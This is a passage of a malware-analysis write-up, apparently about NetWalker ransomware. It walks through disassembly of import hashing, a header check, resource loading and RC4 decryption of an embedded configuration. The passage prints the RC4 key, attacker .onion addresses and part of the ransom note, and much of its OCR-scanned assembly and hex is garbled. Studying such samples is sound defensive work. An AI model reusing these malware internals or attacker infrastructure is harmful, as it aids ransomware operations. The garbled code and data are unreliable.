41:B8 10050000 mov r&d,510
45:8B43% 20 mov rox,gword ptr ds: [roex+30]
FFDO Eaml rax
48! 8905 FCS5CO100 mov gword ptr ds:[<ptr_Imports_array>],rax
48: 85C0 test rax,rax
~r0F84 26140000 il= FSES??BBS92DFD§fD4022§213b426d00.?FEF1A?2913

this routine decrypts and resolves serveral APIs from ntdll.dll, kernel32.dll, advapi32.dll, use32.dll, mpr.dll,
shell32.dll, netapi32.dll, ole32.dll, oleaut32.dll and psapi.dll libraries. | wrote a simple IDAPython script here
which resolves CRC32 hashes and adds resolved value in comment
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https://github.com/0x00-0x7F/IDAPython_scripts/blob/master/netwalker_crc32hash_resolver.py

loc_
mov
jmp loc_1

1

ptr_Imports_Array_qword_18608171E8

mov
call

mov

call

mov

call

mov

call

mov

call
mov
mov

enEnumid

ord_18@6@171E8
num

vord_1880171E8

after resolving imports, it continues to check for stomped MZ header 0xDEAD by first copying header value
0xDEAD in eax, setting up rbx with a certain address and later subtracting 0x400 from rbx in each iteration to
reach image’s base address as shown by the loop in figure below

=»e| 000D0OTFEF1E6FFD40 40:56 push rsi EntryPoint
FD42 4B:B83EC 40 sub rsp,40
ES 4517FFFF £all <fs5ca77335920f0ef040228218b426d00. resolve_imports>
85C0 test edx,eax

~~0FB4 F7010000
48:895C24 50

BE& ADDEOODO
48:8D1D 0CZDOOOOD
48:897C24 &0

48: 81E3 DOFOFFFF

F 66:3903
- F ~| 74 0D
90
e 48:81EE 00040000
66133903
e FD8A| ~| 75 Fa

ia foeg

C705 86740000 00000@ mov d

mav qward pir ss:irsp—:i-,ii,rﬁ,x

mov eax,DEAD

1ea rbx,qword ptr ds
mov qword ptr ss:firs
and rb

cmp word ptr ds:[rbx

], ax
e f5c37?335920FDEFD46223£13b426dDD.?FEF16FFD3C

sub rbx, 400
cmp word ptr ds:[rbx],ax
ip= forg

[FFEF1702A70]
sofl, rdi

: [FFEF1707200] ,0

SATOLOEENANT?Satakirodnn. FEEELAREDSN.]

if OXDEAD header value is intact (i.e., making sure DLL is being run injected in explorer.exe), it continues
further to fix MZ header in memory and read image’s resources - otherwise it'll throw ACCESS_VIOLATION

exception and exits
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aoongrFEEE] T E o

000007 FEFLY 6

000007 FEF17 6FD33
000007 FEF17 6FD38
000007 FEF17 6FD3E
000007 FEF17 6FDAZ
000007 FEF17 6FDAG
000007 FEF17 6FDAC
000007 FEF17 6FDAF
000007 FEF17 6FDE4
000007 FEF17 6FDET
000007 FEF17 6FDED
000007 FEF17 6FDC 4
000007 FEF17 6FDCT
000007 FEF17 6FDCA
000007 FEF17 6FDCF
000007 FEF17 6FDD 6
000007 FEF17 6FDDD
000007 FEF17 6FDED
000007 FEF17 6FDEG
000007 FEF17 6FDED
000007 FEF17 6FDEC
000007 FEF17 6FDF2
000007 FEF17 6FDF 9
000007 FEF17 6FDFC
000007 FEF17 6FDFF
000007 FEF17 6FEO4
000007 FEF17 6FEDE
000007 FEF17 6FEOD
000007 FEF17 6FEOF
000007 FEFL17EFELS
000007 FEF176FELE
000007 FEF176FEZ21
000007 FEF176FEZ2E
000007 FEF176FEZE
000007 FEF176FE3D
000007 FEF176FEZ4
000007 FEF176FE3T
000007 FEF176FE3A
000007 FEF17 6FE3D

—— T

BA G637A0000
41:B8 33050000
66:C703 4D5A

48: BBCEB

FF20 30020000
48: BBF 8

BE 01000000

48: 85C0

0OF84 S5FO10000
4C:8B0OS 24740000
48: 8BDO

48: BBCB
4C:897C24 20
41:FF30 88020000
48: 8815 0B7 40000
481 8BCSE

FF22 30020000
4C:BBFSE

481 85CO0

OFB84 25010000
4C:8B0S EF730000
482 BBDYT

45X BBCE
45189624 58
41:FF30 38020000
BEES

BECOD

OF&4 FDOOOOOOD
6548:8B0C25 60000000
BDE& 07

4C: 880D CO7320000
44:8BCE
4C:897424 2B
48:8B43 20
41:FF11

4C:8BFOD

48:85C0

OF &84 CAQODDOD0D

MoV ax, gwor r ds: [<pfr_Imports_array=
mov edx,7AG3

mov rad,539

mov word ptr ds:[rbx],5A4D

mov rox,rbx .

€all gword ptr ds:[rax+230] FindResourceA

mov rdi,rax

mov esi,1

test rax,rax

je fsc877335920fT0ef040228218b426d00. FFEF176FF1C
mov r8,qword ptr ds:[<ptr_Imports_array>]

mov rdx,rax

mov rox,rbx

mov qgword ptr ss:Ersp+20Q,r1s
EaM qword ptr ds:[r8+288] LoadResource

mov rdx,gword ptr ds:[<ptr_Imports_array=]

MoV FCX,Fax

€al gword ptr ds:[rdx+z20] LoackResource

mov ri5,rax

test rax,rax

je fsc877335920T0ef040228218b426d00. FFEF176FF17
mov ra,qword ptr ds:[<ptr_Imports_arrays>]

mov rdx,rdi

mov rox,rbx

mov qword ptr ss:frsp+ssll,rbp
€211 qword ptr ds:[r3+298]
mov ebp,eax

test eax,eax

je FScB877335920FT0ef040228218b426d00. 7FEF176FF12
mav rcx,gword ptr l:[60]

lea edx,qgword ptr ds:[rsi+7]

mov r2,qword ptr ds:[<ptr_Imports_array>]

mov rad,ebp

mov qword ptr ss:frsp+2s],ri4

mov rox,gword ptr ds: [rox+30]

€all qword ptr ds:[r2] RlAllocateHeap

mov rid4,rax

test rax,rax

SizeOfResource

after required resource has been loaded in memory, sub_18000EAFO0 routine processes it by first extracting
first 4 bytes of data which is probably length of key, next 7 bytes (cZu-H!<) are extracted as RC4 key which is
being used to decrypt rest of the payload - following code from sub_18000EAFO0 routine implemets 3
recognizable RC4 loops 1. Initialization (creating Substitution Box) 2. Scrambling Substitution box with key

g - =

000007 FEF17 6FE4A

TTT—

44 8BCS

je T5CBF7335920T0ef040228e18b426d00. FTFEF17&6FFOD

MoV raé,ebp

to generate a pseudo-random keystream 3. xoring keystream with rest of the data
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- v 74 B5 je fsc8r73359z0f0ef040228e18b426d00. FFEF17 6FEDD
. 4C:8BOD &97 30000 mov r2,qword ptr ds: [<ptr_Imports_array>]
. 451 8BCS mov rad,ri3d
. 45:3ED4 mov rdx,ri2
. 45:5BCE MOV FCX,rax
. 41:FF51 20 E&211 qword ptr ds:[r3+20]
. 41: 2BED sub ebp,rizd
. 40 : 03ES add riz,ri3
L 40: EBC4 mov rg,riz
. 41:8EDS mov edx,ri3d
. 49: 8BCF mov FCx,r1s
. EF17&6FESE 44:804D0 FC 1ea rad,qword ptr ss:|[Erbp-4]1
® || 000007 FEF17 6FESF EB 4CECFFFF call <fF5cB877335920T0ef040228218b426d00. decrypt_rcd=
] 4 85C0 test eax,eax
je FSc877335520F0ef040228e18b426d00. FFEFA7EFECL

decrypted data seems to be malware’s embedded configuration in json format
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Address Hex ASCII

00000000004930B4E | 76 38 E7 00|30 OF 00 00|00 &3 S5A 75 VBL.O. ... CZU-H!<
0000000000430B5E |[FB 22 6D 7O(6BE 22 34 22|2B 31 4B 74 f"mpk™:"+1KtL9ib
0000000000430B6E | 62 65 71 61(43 63 68 &6F|TA 34 69 45 begachhoz 41 EHeTL
0000000000430B7E |52 74 77 38|70 4E 41 35|79 43 30 33 RTWESPNASYCO34% /3
00000000004930B8E | 6B &C 53 41(3D 22 2C 22|6D &F &4 &5 k1s5a=","mode":0,
00000000004930B9E | 22 73 70 73(7A 22 34 31|35 33 36 30 "spsz":115360,"th
0000000000430BAE | 72 22 3A 31|35 30 30 2C|22 &E &1 &D r":1500, "namesz™
0000000000430BEE | 3A 38 2C 22|63 64 73 FA|22 3A 36 2C :g,"idsz": &, " "per
00000000004930BCE | 73 22 3A 74|72 75 6% 2C|22 &F GE &9 s"rtrue, "onioni™
00000000004930BDE | 3A 22 70 62(33 36 68 75|34 73 70 &C :"pb3chu4splecy]
00000000004930BEE | 64 &6 &5 69|&E &7 37 &B|33 70 77 36 dfhing7hzpwedhpk
0000000000430BFE | 33 32 &9 66|65 6D 61 77|6BE 75 GA BA 32ifemawkujj4gp3
0000000000430C0E | 33 65 BA FA|G4 71 33 64|69 &4 ZE &F 3ejzdg3did.onion
00000000004930C1E | 22 2C 22 6F|6E 69 BF BE|32 22 3A 22 ", Monionz2™: "rnfd

0000000000420C2E | 72 &7 6D 36|77 62 26 BA|36 73 75 35 sgmewbejesustxke
0000000000420C3E | 6B 77 24 75 (324 79 24 37 |6B 70 32 &5 kwaL 4y 47 kpZeatvu
0000000000420C4E | 27 64 26 78|68 73 B6E 35|63 73 34 6C Fdexhynscs41t4pd

0000000000490C5E | 72 71 71 64 |2E 6F GE 69| 6F 6E 22 2C
0000000000490C6E | 6C 65 22 3ZA |22 TE 69 &4|7D 2D 52 &5
0000000000490C7E | 2E 74 78 74|22 2C 22 6C |65 6E &4 22

rqqd.onion™, " 11
Te":"{id}-Readme
LEXTT,"lend™: "SG

0000000000490CEE | GE 68 44 51|70 S5A 62 22|56 79 49 47 khDQpZ b3vyIGE pbi
0000000000490C9E |56 7A 459 47|46 79 5A 52|42 60 &2 E&D VZ IGFYZSETbmMy ex
0000000000490CAE | 42 30 SA 57|51 &7 59 GE|GE &7 54 &D BOZWOaYnkgTmvodz
0000000000490CEE |46 732 61 32|56 79 4C &7 |20 4B 51 57 Fza2VyLaOKOWxsIG
0000000000490CCE |56 75 59 32 )|4A 35 62 48|52 &0 LSA 43 VUY3 15 CHRTZCEmaw
0000000000490CDE | 78 &C 632 79|42 6D 62 22|49 &7 &4 47 w1 cyBmb3IgdGhpcy
0000000000490CEE | 42 6A 62 32|31 77 64 58|52 &0 &3 &9 BjbZiwdxR1ciBoYX
0o00000000490CFE | 4D &7 SA SE|6B 30 5A 57|35 7A &1 57 MgZXh0ZWszZ awaudi
0o00000000490D0E | 41 75 65 32 |6C 6B 66 51|20 4B 44 51 Auez 1kfQoKDQotL]
0o00000000490D1E | 20 4B 53 57|59 &7 5A 6D |29 79 49 48 OK.SWYgZm3y I HNvbw
0o00000000490D2E |55 &7 &3 6D |56 68 63 322|359 75 49 48 Ugcmvhc23uIHTvds

this can also be verified by copying resource as hex string along with 7-byte hex key on Cyberchef

. — 1 h: —3
Recipe DR E§  npu Shoch e + O30 8§ =

RC4 Q n 98 C5 45 DE 72 88 26 44 FO D7 7B 40 00 A9 6D A1l 1E 8B AC F7 5A B4 7C C9 26 5B ©3 1C 59 DE F5 8D
41 97 43 3A 38 79 BS 26 07 B8 71 ED E1 SE FD 3C 98 92 95 1A A6 F7 EA 20 20 07 EA 18 76 E1 @F Al

Passphrase DC 6D 52 BC 85 27 49 @9 C9 12 8E E5 9D 2B C2 7F 00 47 01 2D 4A 70 D4 38 20 07 9C 85 3E 32 C8 12
63 5A 75 2D 48 21 .. HEX~ 54 52 B6 BD C9 6A CB 64 AE 68 6C 8F 1B SE 48 B4 BF 7C E6 77 48 45 C2 32 42 1F 86 63 89 8F DE 5C
77 76 DA 30 37 48 FA 82 1C 97 A9 19 17 BE 5D C8 78 65 F7 42 70 11 82 08 12 08 87 EB8 D8 27 30 CE

Input format Output format 58 42 C9 F3 F4 46 Co DC ED 6B 75 1A 27 3C BB 7F EF 73 37 OF F2 35 C7 CF CB C4 F6 DB EB C1 C2 5D

Hex Latinl 82 BB 2D 3C BE C3 44 07 96 8E 37 3F 49 A4 A2 52 5C 9D 69 OE C8 9D 75 14 F7 ED 64 A6 F6 6D oC Bl

—_— C3 AD FE 7C 36 7B 12 AF 16 C4 FD 11 BE 93 BB E8 D3 B7 73 17 5A 74 CB DB 6B CO E9 62 AA 63 20 E9

69 D9 8F 86 9B 32 SA TE 1E 2B 1D 28 66 21 8C 24 18 87 67 CA AT AD C9 F@ 61 9D 85 01 AB 88 A2 2C

AE 83 BF 53 5E 37 6B EE 6E 3D 06 CF 81 FB 7@ 72 FF 08 33 3D 39 55 73 45 E9 C7 EF 21 D1 82 0C 7A

26 8D EF BF 85 33 05 32 E7 1F BA ED 65 FO 13 01 41 76 7F A6 4F E3 80 33 F@ 0D BS 70 DE 51 B4 4E

96 12 FE 93 D5 F7 84 C6 19 DA F7 BC 6A C2 FO 68 F1 37 DB 43 A4 C7 65 22 C1 3B 8A 7C FF 1F 43 80

A4 DD 81 3D A@ 82 12 B1 AD 32 AB 68 9F 5F FB 2D 24 B6 B4 30 29 E8 F1 65 FD F2 CD 54 EC B5 6B DB

AS QF 75 NQ NR A SN AR r4 70 AS AT RQ 71 24 AR Er Af R1 AR AR 7R 18/ AR A rA A2 FN A 72 2R 2A

Output le;;?:; 5;2; a I_l:l m HH

lines: 1
{"mpk" :"+1KtL9ibbeqaChhoz4iEHeTtRtw8pNASYCE34\/3k1SA=", "mode" :@, "spsz" :1536@, "thr" :1500, "namesz":
8,"idsz":6, "pers":true, "onionl":"pb36hu4splécyjdfhing7h3pw6dhpk32ifemawku]j4gp33ejzdg3did.onion”,
"onion2":"rnfdsgméwb6j6sustxkekwdudy47kp2eatvu7déxhynscs4ltdpdrqgd.onion”, "1file" " {id}-

Readme. txt", "lend": "SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXBOZWQgYnkgTmVed2Fsa2VyLgeKQwxsIGVuY3J5cHR1Z
CBmawx1lcyBmb3IgdGhpcyBjb21iwdXR1lciBoYXMgZXhBZWSzaWou0iAue21kfQOKDQotLQOKSWYgZmIy IHNvbWUgecmvhe29uIH
1vdSByZWFk IHRoaXMgdGV4dCBiZWZvemUgdGhlIGVuY3J5cHRpb24gZWskZWQsDQpeaGlzIGNhbiBiZSB1bmR1enNOb29kIG]
5IHR0ZSBMYWNOIHRoYXQgdGh1IGNvbXB1dGVyIHNsb3dzIGRvd24sDQphbmQgeWs1ciBoZWFydCByYXR1IGhhcyBpbmNyZWFz
ZWQgZHV1IHRVIHROZSBhYmlsaXR5IHRVIHR1cm4gaxQgb2ZmLAOKdGh1biB3ZSByZWNvbW11bmQgdGhhdCB5bh3Ughw92ZSBhd
2F51GZyb20gdGhlIGNvbXB1dGVYIGFUZCBhY2N1cHQgdGhhdCB5h3UgaGF2Z5B1ZWVuIGNvhXByb21pc2VkLg@KUmVib290aw
5nL3NodXRkb3duIHdpbGwgY2F1ic2UgeW91IHRVIGxve2UgZmlsZXMgd210aG91dCBRaGUgecG9zc21liawxpdHkgb2Ygemvib3z
lenkuDQoNCietDQpPdXIgIGVuUY3J5cHRpb24gYWxnb3JpdGhtcyBhemUgdmvyeSBzdHIvbmegYWsk IH1vdXIgZmlsZXMgYXJ1l
STEP BAKE! IHZ1cnkgd2VsbhCBwemI0ZWNOZWQsDQpeaGUgh25seSB3YXkgdG8gZ2VOIH1vdXIgZmlsZXMgYmF jayBpcyBebyBjb29wZX Jhd
Auto Bake  GUgd21@aCBlcyBhbmQgZ2VAIHRoZSBkZWNyeXBOZXIgcHIvZ3IhbS4NCgOKRGBghbmI®IHRyeSBObyByZWNvdmVyIH1vdXIgZm

leZyMad2lnat

next routine sub_180004600 parses configuration to get list of file extensions which needs to be encrypted,
default paths and files that should be whitelisted, attacker’s ToR info and ransomware note along with
ransomware note file name and format, subsequent routines decrypt ransom note with AES decryption
algorithm by using 256-bit hardcoded key, checks running processes to kill any blacklisted process and
eventually performs ransomware activity.

That’s it. See you next time.
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